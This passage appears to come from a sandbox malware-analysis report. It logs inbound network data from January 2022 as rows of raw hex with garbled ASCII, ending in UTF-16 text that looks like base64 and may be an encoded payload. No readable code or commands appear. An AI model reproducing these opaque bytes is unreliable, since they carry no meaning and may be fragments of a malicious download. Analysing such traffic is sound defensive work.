89 20 fa 7e 23 bc 22 87 35 d3 c8 36 eb f2 fa 54 e1 80 32 29 dc ed de c4 2b ee 12 35 85 2a bc 58 66 f8 7e 99 41 fd 59 58 
d8 dc 5c 64 d0 10 21 fe 8d 0f e7 b7 d7 d6 3d e0 95 
Data Ascii: sp)ie-l{|xQuFl+QdZqEdb/vVurib07hMc7Q{DX{145i$2!I<y_$4:Uaq.~ XmZ$^HMQs){t~7 ~#"56T2)+5*Xf~AYX\d!=

2022-01-14 11:22:26 UTC 160 IN Data Raw: 33 21 92 2f f2 e6 23 c0 c8 73 fd 12 4e dd 1a 99 5c 40 ff 24 72 62 f8 69 b3 a7 25 e3 30 56 36 40 77 c9 c0 37 3b 
13 ce 1f 70 38 41 a4 72 6d 22 51 d9 1c 96 e3 f4 7f ca 30 82 4d 80 84 6c 87 da 0e cb c2 a8 61 c9 56 8a fa 1a 5a e3 87 d2 
d0 f0 02 e7 41 fd e5 ed 98 9c 4c 87 b1 3f 21 8d 13 98 13 25 7b b1 2b 2b 7b 87 f0 4e 02 32 47 b0 10 66 f4 be b5 77 8e c8 
27 9d 40 c1 b8 54 30 b9 f7 5f 55 4a d7 59 bc bb b8 7b 64 97 7f 47 58 da b6 46 86 9e eb a7 b3 60 7c 72 3f d1 ef 31 08 3f 
42 70 b4 fb 6d 60 b0 78 2c e9 df 84 a9 59 59 77 13 b2 60 d9 79 c5 0e 16 8d 20 e6 54 1b 71 91 14 fc 87 fb d0 25 c5 76 7c 
df cf 6d 69 ed a7 e2 6d f7 40 21 4e c0 c7 09 3c 60 7a 66 84 5e 7d dc e7 90 0d f3 5d 75 22 ef 15 da 5e a2 71 ff d1 76 50 90 
81 a1 05 18 8a ab 3d 95 d2 8b 77 74 29 88 5f 3c 4c 
Data Ascii: 3!/#sN\@$rbi%0V6@w7;p8Arm"Q0MlaVZAL?!%{++{N2Gfw'@T0_UJY{dGXF`|r?1?Bpm`x,YYw`y Tq%v|mim@!
N<`zf^}]u"^qvP=wt)_<L

2022-01-14 11:22:26 UTC 164 IN Data Raw: f2 13 d0 b4 43 37 7c 21 2b 8b a6 5d 06 cc 9c 41 46 43 ed e7 fc 70 60 9e 8f 07 02 01 30 2e 75 7b f6 1c 61 dd 
3e 2c d2 31 06 b7 96 f8 76 46 a2 8a f8 0d 2e 1a 57 7d 17 1b 9b 91 d5 fb 8f 66 99 5a 3d 09 fb 36 d7 90 73 ce f4 82 d2 26 
be 93 a6 4f cd fa 0d b0 a8 a8 aa 67 9c dd f1 ff 11 2e 33 31 04 a4 b3 b2 cb dc f0 81 36 5d 96 1d dc d9 80 ec 18 36 e0 1f b0 
69 a0 6c 3a 26 79 25 e0 e7 cd 0c 8b 47 be 31 e1 d3 aa b6 6b 45 76 68 f1 9e 94 41 b5 2a 23 7b cd 30 2b 96 f9 85 1f 98 fe 
04 e1 e8 f5 16 3f 16 e2 12 ed 5d e1 cf 7a f6 33 79 fd 21 70 83 70 fc 9a 49 42 35 7a 95 bf 7c 6e d7 f5 3d 03 8b de a7 c7 61 
80 23 29 67 46 41 45 cc d2 ce ed de 24 7b 66 18 94 aa 7d 16 76 d6 1f d0 17 81 2e 99 18 95 85 01 6f 04 53 3a 80 f8 0b d3 
29 ce 4d 29 d9 3b c9 f9 ae 00 6a 0f 4f cb 51 6c 5f 
Data Ascii: C7|!+]AFCp`0.u{a>,1vF.W}fZ=6s&Og.316]6il:&y%G1kEvhA*#{0+?]z3y!ppIB5z|n=a#)gFAE${f}v.oS:)M);jOQl_

Timestamp
kBytes
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2022-01-14 11:22:26 UTC 168 IN Data Raw: b3 96 d6 91 7e 3d 9f 42 7d 19 b1 94 e3 09 86 b0 cb c3 f2 56 d0 1f 31 b1 76 4c 48 5a 69 02 38 6b 41 4d 8e 55 fc
47 2f b9 62 d7 cd 2b 07 2a 7f 24 59 71 0a 9a 18 e7 c3 3b 5b 60 b7 a9 6f 75 b1 01 c5 18 bf 60 c3 71 a8 64 45 19 57 66 00 
f0 8f f2 b6 32 25 4d c4 e8 68 10 c5 5d 7b 56 b3 69 51 02 a9 1e 4c ae e7 59 91 b5 45 c6 70 50 97 99 05 7d d6 87 f8 16 f3 
1d f6 23 3b 58 3e 4a f8 a2 fe f1 0d 42 fc 53 c7 26 1c d3 f8 8d 6e 5c 46 eb 6d fb 0d 42 21 16 e0 86 a0 1c 41 83 f6 2c 5a f9 
e7 a1 67 f3 16 40 de 02 fe b9 23 ff 3f ea 43 78 42 80 2f 57 45 08 90 9d c2 79 39 8b 87 36 c3 23 b6 78 4a 7a 5a 37 21 35 
09 b1 21 e7 3a 83 7f c4 68 91 89 65 1f d8 9a 5c 9d 72 7c f0 a8 58 eb 8f 6e 24 18 50 3d 81 12 4a 26 79 17 9b 0a 75 45 06 
73 f1 0e 5f 9f 96 a5 97 6b 2b 2b 52 95 26 0a 96 17 
Data Ascii: ~=B}V1vLHZi8kAMUG/b+*$Yq;[`ou`qdEWf2%Mh]{ViQLYEpP}#;X>JBS&n\FmB!A,Zg@#?CxB/WEy96#xJzZ7!5
!:he\r|Xn$P=J&yuEs_k++R&

2022-01-14 11:22:26 UTC 172 IN Data Raw: 74 3b 61 27 50 c0 cd a8 80 f2 42 1b 92 56 8e b5 bc a7 ac 70 17 4c 0b ba cc 1e 09 20 c3 13 e2 55 4b c0 03 87 
e1 53 10 e0 88 ed 89 72 94 6a 27 6a 2a af bb ea 2c ae be b7 06 97 3a 51 bc 1a 69 0f ce 34 97 04 a5 db 40 2c 4f f3 d3 ae 
95 05 ef 6c b5 0d c9 82 d6 85 4e 6f 39 a2 b1 25 81 e5 30 4d 0b f4 02 70 25 15 2a 83 9b 90 fb 0e 59 c7 8b ec 1a 3a 1c 29 
cd 34 a0 8c eb 2c a0 61 38 9d 9b ae b8 a8 0a 25 7d 0e 30 2a fc 35 cc 40 fd d5 27 7b 1e ed b3 3c a4 bc c6 d0 15 16 f0 69 
b9 01 97 1d 5c 06 89 f8 a0 2f 46 2b 0c 3f da 31 e9 f2 06 db 85 2a 7c 87 f0 52 65 f2 9d cb 66 c4 7a 04 3e 39 2a 4b 41 9c 97 
8a 87 f6 e1 24 80 4f 1e bb 57 cd b0 b2 11 a7 a0 91 9c 22 b6 ca 94 a6 40 63 40 ca 5f 32 26 5c 93 fa 8c 97 1a d7 c3 70 b7 
e4 dd 9b ee 5a 9d e0 ef 86 49 19 7e 89 ac df 2a c2 cd 
Data Ascii: t;a'PBVpL UKSrj'j*,:Qi4@,OlNo9%0Mp%*Y:)4,a8%}0*5@'{<i\/F+?1*|Refz>9*KA$OW"@c@_2&\pZI~*

2022-01-14 11:22:26 UTC 177 IN Data Raw: aa e5 4d 09 83 86 9a 0c 25 6d 2a 40 70 cf 0a 1a 42 fa 14 07 53 d1 53 c6 36 91 c2 c5 42 27 d0 b6 91 95 63 8a 
de 68 f7 bc 77 9a 02 7f 5b ad 24 e5 0a 9c 55 23 e6 96 ab 4e 5d f4 a6 68 99 d3 5b b2 e2 2e ad 1a 8f 28 be ad d5 32 b6 1a 
c3 e1 91 a6 aa cd ab 8c 2c 5c 61 56 ef 76 b4 af 95 89 8e e4 07 f8 ac cc a0 9c bd 8d 30 5c d7 77 e8 39 fb 78 0b d6 91 75 
48 17 95 42 64 ce 07 85 2a 79 0d d2 6b 26 57 53 a1 9f 7b 6f a2 4c 5c e7 ea a9 80 16 29 36 4c 50 5d 04 41 76 9b 50 6d 74 
52 d7 74 af c4 16 03 83 98 f6 55 62 fd 1a 02 43 f2 33 50 4a 07 9a e4 5a c7 60 f9 d1 57 d3 0e 85 6c 00 f8 28 d1 f0 b6 f2 32 
04 b1 be c7 f8 d6 f5 46 73 5d 8f 42 02 2a 08 c7 55 4e 51 99 b1 f6 f9 69 c4 f7 5e 22 07 d3 ee d4 0b a3 9f 41 00 0a cc 0a f2 
f0 bf a9 de f6 1a 3f 9e 45 69 0d 10 b2 15 5f e2 b3 
Data Ascii: M%m*@pBSS6B'chw[$U#N]h[.(2,\aVv0\w9xuHBd*yk&WS{oL\)6LP]AvPmtRtUbC3PJZ`Wl(2Fs]B*UNQi^"A?Ei_

2022-01-14 11:22:26 UTC 181 IN Data Raw: fd be ef 44 77 8a 14 65 bd d1 cf 24 2d 8a ab ce 73 72 75 8f 3e a9 57 48 54 61 79 bc 59 45 26 e5 47 01 24 29 f9 
24 e9 40 1c 31 f3 24 9a d4 5b 8f 34 27 5f a9 9b c0 18 43 27 bd 1d 6a cf 32 b4 1d 9e 0d 38 fb 51 db 8d 93 ff 02 42 e4 c8 50 
93 58 4a e5 52 4c b2 dc c4 64 4c 16 49 66 cb a7 e2 b0 ee db d8 34 99 3a 14 b9 59 6a 4b 19 cd 70 94 6a 53 eb e2 78 b8 
da 9e ab 6c 74 58 ed ca 7d 5e 67 7c 3d db 74 e1 69 d3 f5 d9 76 0f 93 bd f0 1a 04 05 37 69 4b 87 cb 95 cd ce d8 7a c3 09 
94 d1 ef 89 a7 4f ce f6 49 03 59 f5 58 27 30 c3 b0 e8 ec c1 70 c5 6f db 6e 0f b9 fc bb 14 76 99 60 3f 44 69 f4 43 5f d5 60 
87 73 6c 39 ba 89 f1 b3 03 1c e7 1c ab cd b6 1a 5f 3b 05 c4 0c a2 71 94 3b e2 fd c2 8c fc 48 fb f2 92 dd 4c 5e 39 b6 32 6c 
69 3b a8 6c 1d bb d2 24 ce 45 8a d5 c2 26 0d e8 
Data Ascii: Dwe$-sru>WHTayYE&G$)$@1$[4'_C'j28QBPXJRLdLIf4:YjKpjSxltX}^g|=tiv7iKzOIYX'0ponv`?DiC_`sl9
_;q;HL^92li;l$E&

2022-01-14 11:22:26 UTC 185 IN Data Raw: 88 6c fc 41 a6 dd f8 cd 76 5b 82 b5 de 29 63 1e 9d f7 5b 87 3d 56 b0 96 5c 3b b8 8e 04 d3 75 d8 b4 f7 4d ad 9c 
e4 32 58 28 42 e8 b1 2c b9 7f a9 de 1b ca a8 d6 fa 50 fc dc 2b 5b ca 52 fd 40 ba 67 37 df 9a 0d f9 14 40 68 db 7a 5c b5 bf 
12 af 92 e6 d5 d3 dc 01 83 56 18 60 08 f5 f7 34 7c f8 c8 11 bb da 4c 33 f3 1b 4f 81 43 51 6f 95 93 33 f4 98 58 58 36 dd 44 
e4 55 fe a0 82 ab 1e a7 c7 84 5a 0b 8a 68 90 77 fe 14 53 29 78 b2 9e bb 83 2b f5 57 b6 0c d0 42 a3 95 24 ca da 7b de 11 
dc 32 d2 b1 93 e7 e3 61 87 d0 fc 99 b8 8f 77 1d 24 29 5c 4e c5 86 64 e4 8f 41 73 8d 65 79 67 64 72 e6 0c 6b a0 26 ea b8 
d0 7e b7 e9 0f 82 f5 51 58 e7 cc 59 ce 66 b5 ae 6d 72 72 45 1f 73 41 fe e9 63 3a d2 46 22 3f e6 c9 1c 94 36 fc a0 95 46 17 
af c3 84 f5 53 78 9f 38 41 8c 54 f4 c8 c4 aa 
Data Ascii: lAv[)c[=V\;uM2X(B,P+[R@g7@hz\V`4|L3OCQo3XX6DUZhwS)x+WB${2aw$)\NdAseygdrk&~QXYfmrrEsAc:F"?
6FSx8AT

2022-01-14 11:22:26 UTC 189 IN Data Raw: 6b a2 13 88 f6 ab 38 a2 94 95 14 e7 74 5f 78 4c f3 92 e5 55 9b e3 cb dd e3 85 8e b6 dd 2b 6a c8 77 11 54 2d 
26 75 c6 e9 62 4d be 63 ab e0 c1 43 29 f1 2b ef b6 e2 13 33 1b 0a d6 80 b2 a1 4f 97 02 3d 66 db 86 65 5e d6 7e d3 ce 63 
69 4d 47 4c ce ba 52 55 8e 19 52 9c df 65 dc 56 be 95 25 e4 4d d6 8c 7b d3 90 7c d0 c4 da 4a a0 cc 7f 63 28 ad 8f 55 b1 
f8 9a 70 6b 35 22 13 ae 8e 04 e9 d1 9e 92 84 c5 18 08 bf 4e 22 56 c0 49 54 55 2d eb 06 39 fc d5 58 fe 35 7b 93 36 ca 86 
0f e2 81 f5 9d 8a 81 e8 38 c1 ca f4 d1 0a a9 36 a7 2a e9 06 b3 fd c0 95 0f 96 4d 12 fc d1 f9 e6 bf 17 18 17 cc 29 7a 3f 09 
c5 12 8b 3e 6b 8c 98 5f f4 f9 f1 29 f5 21 02 8a a8 a4 4e 0f c9 37 bf 45 5e ee 96 c2 e4 b7 b2 7c 06 79 c3 8a 91 6e 35 ba 93 
f7 df 57 65 53 a8 73 4a a9 35 45 7c b0 56 36 a3 82 
Data Ascii: k8t_xLU+jwT-&ubMcC)+3O=fe^~ciMGLRUReV%M{|Jc(Upk5"N"VITU-9X5{686*M)z?>k_)!N7E^|yn5WeSsJ5E
|V6

2022-01-14 11:22:26 UTC 192 IN Data Raw: 56 04 1d 5b 4d 79 72 81 76 db cd 5d 5b 4b 14 2a 19 4c cc a3 2e 5f c1 6a c2 eb 84 06 5b 49 67 cb 08 ed 08 5a 
f9 56 9a 91 52 d7 d1 99 67 50 29 fc b5 d4 65 be 04 92 cf a2 2e 13 73 d9 71 9f 65 6e ad c9 f8 45 54 fa ee 21 58 5d 15 6b 
61 cf 03 7d 66 c6 a6 66 df d5 29 92 d6 b1 69 65 a2 79 18 98 4c 0d e0 b4 b4 c9 2e 56 02 1d d7 bd 73 ab d1 d1 45 81 5f dc 
3f 46 00 cc 68 13 54 e2 96 72 0b c2 db 99 17 29 f0 ad c7 3e 1c 54 ef e7 25 51 c2 30 1d 1e cb d4 c7 9f 75 41 7a c1 2f fe a2 
ac 6c 86 7b b7 d5 5a 05 74 13 1f d3 60 11 6c 29 b0 c8 38 b8 05 6f b4 d2 53 a1 a1 37 96 ef 5b ef f6 74 ff 9b 18 30 79 a3 81 
23 86 ee 83 84 b9 12 20 69 02 3d 9a 55 4f dd cd 5c 33 fb f2 14 55 e9 4e c3 8a 14 d8 22 cc c6 54 cb c4 a6 e9 c6 f9 24 32 
a5 f7 1d 97 db af b2 9e 32 ce 39 01 34 4d 98 e9 78 
Data Ascii: V[Myrv][K*L._j[IgZVRgP)e.sqenET!X]ka}ff)ieyL.VsE_?FhTr)>T%Q0uAz/l{Zt`l)8oS7[t0y# i=UO\3UN"T$2294Mx

2022-01-14 11:22:26 UTC 196 IN Data Raw: d8 ee f1 3d 47 a9 ae fb e6 b7 ac 97 3b c8 ce 46 b7 2d fd 09 ee 7d 64 e8 18 2a fe 1e 49 00 22 45 7f 6c 83 e3 a8 
cb f1 99 b8 48 26 99 d7 75 b2 bb 51 f0 ac 95 6d e5 96 69 da 4b 47 99 3e b2 a2 a2 ba 54 5b 30 a7 3a 39 3b 3a ad b8 9d 
d2 0c 75 9d 90 b6 48 03 35 b3 dd d0 ba 03 69 60 16 ae 42 e6 45 26 af 76 b7 80 b5 d8 68 c4 e7 33 94 83 5c ec 18 e0 c6 c2 
9c 6d 91 91 bc 42 8f 0c bd b0 9f df c7 29 db 7e e4 43 a3 56 53 bf 7a 69 0b 2a b8 d1 c5 64 4e 60 77 f5 e6 91 f9 4d 57 85 1c 
2c a7 4c 9f 47 9a c0 07 46 f8 ac f2 49 d7 5d 83 f7 1e 89 c8 32 e8 3a 77 64 57 09 ea 5b 7b f7 0b 3a b8 26 27 a0 ad 12 8f a1
52 22 46 ae 60 4d 74 9b f2 f6 c8 4c 5b 16 f7 7f 65 3e f4 4f 71 58 e3 ec da 8d 8f 97 d3 cd 2f b4 29 31 c3 91 f1 32 3e 75 68 
88 e0 44 a5 13 93 67 f9 55 11 62 f4 5b e2 4d ba 
Data Ascii: =G;F-}d*I"ElH&uQmiKG>T[0:9;:uH5i`BE&vh3\mB)~CVSzi*dN`wMW,LGFI]2:wdW[{:&'R"F`MtL[e>OqX/)1
2>uhDgUb[M

2022-01-14 11:22:26 UTC 200 IN Data Raw: 6d b7 2a fc 58 1f ed 52 1a 48 20 dd 5b a1 5f 32 51 ef 11 b1 d7 8a fd 70 d9 10 09 17 c4 a8 d1 9d b8 3b 0b 0a 5f 
2d 0c c1 a9 07 bd b2 1a bf 02 8a e7 c9 71 27 b8 f8 53 17 e0 e9 7e eb 8b 13 e7 2c 9c d2 90 17 8a 5a da ef cc 11 60 7e 0a 
66 47 fb 9c 37 2b 50 bc 73 59 d9 83 c0 85 4f 79 b8 b0 5f b1 15 db 15 5f e0 34 a0 d2 1f 40 9a 44 28 e7 a1 5e 3f f3 38 33 e3
c8 6b cf 39 05 bc b6 04 44 2d 56 aa ed 1d ef 2a 5f f6 af 54 ba 37 02 b7 53 bb 2f 47 3b c5 1c a0 7d df a0 51 ef da 4b 08 39 
5e ed 08 37 19 73 fa 78 ba 4c a1 ee 4b fc b2 a0 8f 22 3e 6a 18 c1 24 30 37 d7 4d a6 5c 43 53 88 6e 98 e4 53 b7 94 49 02 
f1 95 80 4f 99 cc 1b 6a 05 a8 60 1f 60 70 53 b9 24 7c 79 d9 85 7f 51 f2 ac e6 70 08 6e e8 42 09 3a 7a 2d 40 0c 1e 98 03 
2e 5c a9 67 90 9b 26 e1 3b 08 10 4e c1 2d ad 0f 
Data Ascii: m*XRH [_2Qp;_-q'S~,Z`~fG7+PsYOy__4@D(^?83k9D-V*_T7S/G;}QK9^7sxLK">j$07M\CSnSIOj``pS$|yQp
nB:z-@.\g&;N-

Timestamp
kBytes
transferred Direction Data
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2022-01-14 11:22:26 UTC 204 IN Data Raw: 43 f4 48 15 59 30 8b ef f4 ea f5 94 47 7c 4d 3d 5b 54 40 d7 70 9d b4 06 d5 d1 7c 79 4c 44 07 bd e2 66 e5 11 f2 
af 49 c3 86 89 0d 20 82 02 a0 da 43 dd 1f 95 ca a7 41 0c 0c 2c be 6f de 77 26 2f e7 ec 00 28 fd 9a db 79 d1 2d 10 7a 46 
ea cc 04 11 21 b0 d9 16 d9 4f ff 3a be e2 e9 ce a1 f0 d5 c5 c6 45 f3 a2 45 20 a5 e5 c7 c8 5f 1f 18 c3 94 49 51 a4 7f 9a 3c 
33 7d ee 46 8a f8 a4 46 15 c5 97 24 9b 87 61 76 fa 7a fd 5a a2 82 5a 94 54 d3 5c ac bb 06 fe 5f eb c3 c1 87 f6 ea ab a5 af 
5d 7b 11 fe 59 09 5d 75 9f 8d ac 6b 52 0e 58 41 d5 c2 84 3a d3 49 63 07 d3 22 ac 6c 06 49 a9 7e 58 e2 21 07 24 0c b6 d6 
7f 39 99 30 b9 c3 85 13 ff 71 e2 e1 3e cb 1e 81 8c 3b 51 8a 5d dc 39 ad c4 60 34 e9 3d 43 60 b5 39 1c 4f a5 c3 bf c8 67 
3d 48 b1 66 11 43 4e 39 7b bd 2d 2d 04 18 f7 c0 
Data Ascii: CHY0G|M=[T@p|yLDfI CA,ow&/(y-zF!O:EE _IQ<3}FF$avzZZT\_]{Y]ukRXA:Ic"lI~X!$90q>;Q]9`4=C`9O
g=HfCN9{--

2022-01-14 11:22:26 UTC 209 IN Data Raw: 4a 01 81 b5 19 92 ba 97 d9 0e 28 99 90 b9 53 ea f3 25 68 6f ba b8 ae e0 b8 bc cb d7 c2 e3 f8 43 c1 a4 5e c2 
e5 93 79 49 c4 aa 4d 58 1c a2 2e 75 ff 8e cf 22 59 cd 89 20 31 cf 52 51 f8 1e 27 1a c8 d9 ef 59 0a 4f 54 09 f5 9f 10 9c 13 
49 93 6e fc b1 d3 7b 99 6d fd bb ff 54 19 40 46 a7 80 40 6f b1 e4 08 31 33 fa de 06 c5 c1 dc 1d 2a 65 3a d0 59 a6 64 26 
d9 a5 81 e7 c0 48 63 59 57 74 ca 82 a7 cc 37 18 ff 9d 05 82 80 c6 2f 69 82 de 76 6a 9e 9b b3 54 d5 70 c1 fc f5 58 3b 91 
9e 01 97 18 89 30 97 8e 2d 3c 91 d6 12 1f be c0 de 77 5a 85 0c 2f 94 c0 96 4b 45 96 aa c5 47 97 37 90 bb bc 7f 9b 9b 7f 
06 e9 e2 b6 59 f5 86 24 50 c6 3c 8f af cd 97 09 a7 b4 61 f1 3a b8 21 96 32 c8 cc fc 93 cd 2e a6 04 29 29 a5 6c 39 28 b0 
01 fa 4a ba ec 8b 39 4c 19 bd 21 27 d9 00 ed ec 97 27 
Data Ascii: J(S%hoC^yIMX.u"Y 1RQ'YOTIn{mT@F@o13*e:Yd&HcYWt7/ivjTpX;0-<wZ/KEG7Y$P<a:!2.))l9(J9L!''

2022-01-14 11:22:26 UTC 213 IN Data Raw: 35 ce c4 1f 36 99 cc a1 49 bc 2f b3 c3 2d f2 5d 38 a0 ed a7 a4 5b 69 c8 c7 5f 28 28 0b aa 29 a6 65 fb 31 1e 5b 
2e 44 b9 06 23 7b aa 73 f6 66 07 20 3c 2e d7 00 87 e9 3f ea b2 a5 7d fe 00 a9 2b f6 c4 69 40 42 00 85 11 4d de 56 8d 05 
95 2c 60 99 3b 40 58 14 78 a5 fc 81 1d 96 e0 4a d3 86 e8 47 45 81 0e ac 65 3e 4c 2f d3 01 d9 56 f8 84 6e ed ee 34 6f 6c 
86 40 a8 8a 25 82 8f af 9f c9 e9 97 a0 34 b9 22 a5 e4 ed 55 11 15 87 8a 31 91 27 73 78 00 6c f1 6a 97 f2 5d 92 2b 6e 41 
21 8a fd 43 12 01 92 d4 09 b2 86 98 76 ef d8 57 fe 49 a7 8f e0 32 84 08 01 bd 20 eb 87 65 5c e8 18 9c 29 74 bc 75 f2 15 
d5 40 42 9b ad fb 9a d3 ec 8f 81 d2 1d 98 3d 89 51 7b cc 87 24 b3 29 c0 17 d0 ce 24 64 fe 54 d6 23 10 e3 ef 98 af ef f2 68 
fa 50 54 0e bf 6d 03 a6 d9 c7 29 18 aa 7e 8c 86 50 
Data Ascii: 56I/-]8[i_(()e1[.D#{sf <.?}+i@BMV,`;@XxJGEe>L/Vn4ol@%4"U1'sxlj]+nA!CvWI2 e\)tu@B=Q{$)$dT#hPTm)~P

2022-01-14 11:22:26 UTC 224 IN Data Raw: bd fc b4 49 5f 7d 56 1d 4b 29 11 be 4d ab 0e 4b db 8d 74 db 12 16 7f 1d d3 b9 0f ed 55 fd 5a ef da ca 86 2a d3 
43 2d 23 86 43 37 1f 93 ad 06 be 39 71 82 da f5 0d 9e 64 f1 1f ac d4 52 6f 06 d7 52 49 02 01 30 36 9f b3 eb cf 4b 21 52 56 
95 c7 91 c8 5b 65 01 41 13 e3 22 98 8c 44 a4 e2 98 8d 4b 10 71 1c 9c 06 e1 b5 ae 96 8b ca 7c c8 66 45 b1 a3 fa 3e 6e 2f 
41 21 eb 72 ff c8 bf ed 02 0c 57 f0 ba f9 6a 8b 17 7d ea 5e 06 99 4a d7 62 d4 8d 36 58 2c bc 66 4a 81 99 d2 06 92 c0 1f eb 
5e 40 27 1a 1f 20 ff f9 45 f3 92 53 3b aa 4c 92 df 61 7d 9a aa 63 47 64 63 ef 7a ce bd 2a fe cd 5a d5 8b 21 4a e9 fe 06 4a 
6c 1f b4 a7 d8 a6 48 49 b6 cc 73 94 a1 8c ac d9 5a dd cf ad e1 8a 75 f5 68 55 72 61 e5 34 df 52 b6 b7 23 58 e3 b2 bf 36 
7b 94 74 91 45 58 06 78 79 30 f4 f8 57 07 10 
Data Ascii: I_}VK)MKtUZ*C-#C79qdRoRI06K!RV[eA"DKq|fE>n/A!rWj}^Jb6X,fJ^@' ES;La}cGdcz*Z!JJlHIsZuhUra4
R#X6{tEXxy0W

2022-01-14 11:22:26 UTC 229 IN Data Raw: e2 45 b4 2e 8b 14 9c 10 9d 88 6c b5 09 8c 79 5f e3 4e 25 e9 19 62 9c 61 dc 3c ff 73 d5 26 d4 a6 2e 81 1b d3 
e9 e6 f2 e7 63 8b 20 e1 8a 1f fc 83 fc 6d d4 3c 4e 85 2e 5a c0 7f f9 53 f1 a7 a3 cf d1 2d 77 d4 5a 18 7c bd d4 6c 53 19 8d 
d6 ab e3 af 11 72 be 93 91 32 98 ec 6a 15 73 7e 99 52 bf 05 ca 6a 7b 7d eb bb 7e 7c e9 35 8c 09 84 c8 40 9c a4 5a 7d 99 
23 87 39 6a 35 d5 a8 c0 d6 cb 9d a4 36 2f 17 60 7f 32 88 42 43 21 d9 9e 64 34 07 e2 40 47 f4 7e 53 8c 50 ec bc 89 ea 86 
21 d7 b6 ac 5e e7 07 8a 6d 8f ed 5c 23 bb 34 d5 f0 92 68 8c 8a 79 a6 0b fe 8f aa cc ab 02 25 44 ef 00 ae 6a 14 27 09 ca 2f
6f 33 51 26 b3 7c 44 1c b9 eb e5 a5 ea 61 55 09 4a fd 36 4a 9f c8 ee c0 25 a2 4d c8 c2 b7 ff 6a 1b 47 51 9c 83 01 8b e8 
3a 00 76 a7 e6 e8 70 80 e3 89 2e 32 b1 c0 6b a2 0a 
Data Ascii: E.ly_N%ba<s&.c m<N.ZS-wZ|lSr2js~Rj{}~|5@Z}#9j56/`2BC!d4@G~SP!^m\#4hy%Dj'/o3Q&|DaUJ6J%MjG
Q:vp.2k

2022-01-14 11:22:26 UTC 245 IN Data Raw: 9a e0 22 4e 6e 10 5b 1c f7 79 f7 47 07 07 86 21 e5 1f 78 4c 61 13 b1 c1 e7 88 e1 89 46 c8 1c b7 2a 0e 23 dd 
06 04 4b 48 89 6e fb 64 0b c0 e6 ed c4 9e bf f2 9a f4 30 bc bc 12 e9 68 87 24 d6 a9 22 16 31 86 66 4b 0a f2 a7 e5 bb f5 c4
51 e1 ab 94 9d 06 d5 11 b2 bd 18 39 2d 1d c0 e0 c7 e2 b2 96 8e 5d cb 80 15 ca dd c7 10 00 87 3f 4a bc a5 a1 a8 18 4c 9a 
be a4 80 cc 93 e1 a1 9e 09 3d 3a 72 42 aa c6 68 51 1a d3 0d af da 7f a8 9b 45 42 a4 33 41 52 88 23 22 b5 d4 bf b2 4e 65 
17 59 99 3f a4 17 4b d0 90 24 52 60 85 fc 77 49 88 30 d2 2c 74 94 2d 91 7e e8 9d c8 a1 6c f7 ea cf 0e c0 ed f7 18 41 3d 
81 b5 ec 89 91 57 a3 68 ef 2a ce fe ed a8 c1 29 88 28 1f 11 36 fa 33 17 96 cb 49 bf 1b ca 96 f3 eb fd 71 3c 21 1f ae 5d 38 
2f ba 78 a5 49 b5 d4 a1 f6 8f 41 ff 0a 0b a3 8a 92 
Data Ascii: "Nn[yG!xLaF*#KHnd0h$"1fKQ9-]?JL=:rBhQEB3AR#"NeY?K$R`wI0,t-~lA=Wh*)(63Iq<!]8/xIA

2022-01-14 11:22:26 UTC 256 IN Data Raw: 38 00 35 00 6b 00 61 00 56 00 52 00 55 00 4d 00 68 00 53 00 45 00 59 00 55 00 62 00 4e 00 79 00 66 00 79 
00 57 00 75 00 69 00 6b 00 4b 00 76 00 70 00 37 00 4f 00 6f 00 56 00 45 00 52 00 62 00 38 00 74 00 75 00 63 00 52 00 6c 
00 4d 00 31 00 36 00 6a 00 46 00 62 00 6c 00 50 00 37 00 34 00 78 00 67 00 78 00 7a 00 47 00 36 00 41 00 31 00 65 00 
37 00 54 00 30 00 39 00 37 00 51 00 73 00 77 00 42 00 51 00 55 00 78 00 77 00 55 00 52 00 72 00 76 00 37 00 36 00 77 
00 48 00 39 00 4d 00 51 00 2b 00 55 00 55 00 4d 00 73 00 76 00 53 00 50 00 71 00 53 00 4f 00 37 00 73 00 56 00 54 00 
78 00 53 00 47 00 33 00 63 00 38 00 41 00 58 00 43 00 52 00 43 00 52 00 4b 00 6b 00 66 00 2f 00 67 00 75 00 38 00 49 
00 58 00 79 00 6a 00 77 00 35 00 4e 00 4c 00 67 00 31 00 56 00 46 00 47 
Data Ascii: 85kaVRUMhSEYUbNyfyWuikKvp7OoVERb8tucRlM16jFblP74xgxzG6A1e7T097QswBQUxwURrv76wH
9MQ+UUMsvSPqSO7sVTxSG3c8AXCRCRKkf/gu8IXyjw5NLg1VFG

2022-01-14 11:22:26 UTC 272 IN Data Raw: 48 00 75 00 2f 00 6d 00 66 00 56 00 50 00 74 00 4a 00 54 00 6c 00 65 00 72 00 42 00 42 00 4d 00 51 00 71 00 
71 00 79 00 63 00 41 00 33 00 51 00 34 00 4e 00 33 00 6c 00 68 00 42 00 48 00 6f 00 78 00 59 00 4e 00 61 00 65 00 39 
00 47 00 33 00 59 00 2f 00 7a 00 76 00 38 00 6f 00 78 00 74 00 64 00 51 00 6c 00 48 00 58 00 6e 00 2f 00 5a 00 59 00 72 
00 4c 00 4e 00 34 00 6c 00 4d 00 56 00 63 00 2b 00 7a 00 51 00 55 00 4b 00 67 00 76 00 79 00 78 00 48 00 34 00 65 00 
43 00 44 00 6b 00 43 00 47 00 55 00 39 00 73 00 4f 00 75 00 6d 00 39 00 74 00 4d 00 51 00 44 00 51 00 36 00 6e 00 68 0
0 47 00 56 00 43 00 45 00 39 00 4b 00 4c 00 77 00 39 00 66 00 76 00 4b 00 79 00 63 00 4b 00 5a 00 75 00 4b 00 71 00 
67 00 5a 00 6d 00 30 00 32 00 4a 00 59 00 53 00 6f 00 78 00 54 00 34 
Data Ascii: Hu/mfVPtJTlerBBMQqqycA3Q4N3lhBHoxYNae9G3Y/zv8oxtdQlHXn/ZYrLN4lMVc+zQUKgvyxH4eC
DkCGU9sOum9tMQDQ6nhGVCE9KLw9fvKycKZuKqgZm02JYSoxT4

2022-01-14 11:22:26 UTC 288 IN Data Raw: 53 00 48 00 65 00 53 00 30 00 41 00 2f 00 39 00 53 00 52 00 71 00 50 00 43 00 50 00 54 00 6f 00 6d 00 6e 00 
71 00 47 00 30 00 49 00 6a 00 36 00 74 00 72 00 43 00 39 00 38 00 76 00 42 00 44 00 66 00 71 00 52 00 41 00 6f 00 63 
00 67 00 76 00 77 00 64 00 52 00 53 00 66 00 69 00 4b 00 4c 00 66 00 6b 00 4c 00 58 00 75 00 78 00 42 00 53 00 2f 00 
